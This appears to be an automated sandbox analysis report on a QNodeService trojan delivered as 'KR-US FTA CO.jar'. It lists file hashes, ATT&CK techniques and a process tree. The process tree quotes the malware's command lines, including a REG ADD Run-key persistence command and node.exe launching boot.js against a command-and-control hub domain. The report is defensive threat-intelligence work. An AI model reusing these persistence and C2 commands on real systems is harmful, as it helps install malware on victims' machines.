qnodeservice | ccb2826c926e4465ea8ea53563d9308c9847d2ce84b8c82d4d03955a9d25fc51

General

Target

KR-US FTA CO.jar
Size

378KB
MD5

ca07db8fd81eec3d8d99f94e2382ebc7
SHA1

396070d12ecae5027ea9e815426dae7236bd3bc5
SHA256

ccb2826c926e4465ea8ea53563d9308c9847d2ce84b8c82d4d03955a9d25fc51
SHA512

236b5ce706db88ff2910d45cf55050bee569f07a53841225ab84d2130996c78f39fbfa250a3b48ea17bb2d85d4061f1f2456a902ce1325c9477990d8885a0294

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3964	node.exe
2148	node.exe
3428	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\a499a36a-49fb-4f78-b86e-1e66b28cfea1 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad76-161.dat	js
behavioral2/files/0x000100000001ad76-165.dat	js
behavioral2/files/0x000100000001ad76-169.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3964	node.exe
3964	node.exe
3964	node.exe
3964	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe
3428	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3816 wrote to memory of 2820	3816	java.exe	76
PID 3816 wrote to memory of 2820	3816	java.exe	76
PID 2820 wrote to memory of 3964	2820	javaw.exe	77
PID 2820 wrote to memory of 3964	2820	javaw.exe	77
PID 3964 wrote to memory of 2148	3964	node.exe	79
PID 3964 wrote to memory of 2148	3964	node.exe	79
PID 2148 wrote to memory of 3428	2148	node.exe	80
PID 2148 wrote to memory of 3428	2148	node.exe	80
PID 3428 wrote to memory of 3012	3428	node.exe	82
PID 3428 wrote to memory of 3012	3428	node.exe	82
PID 3012 wrote to memory of 2732	3012	cmd.exe	83
PID 3012 wrote to memory of 2732	3012	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\KR-US FTA CO.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3816
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\40d00a48.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain akinventures.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_k9Asoy\boot.js --hub-domain akinventures.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_k9Asoy\boot.js --hub-domain akinventures.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a499a36a-49fb-4f78-b86e-1e66b28cfea1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3012
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a499a36a-49fb-4f78-b86e-1e66b28cfea1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2148-166-0x0000029C41340000-0x0000029C41341000-memory.dmp

Filesize
4KB

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memory/3428-170-0x0000035D08B80000-0x0000035D08B81000-memory.dmp

Filesize
4KB

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memory/3964-163-0x0000016E99100000-0x0000016E99101000-memory.dmp

Filesize
4KB

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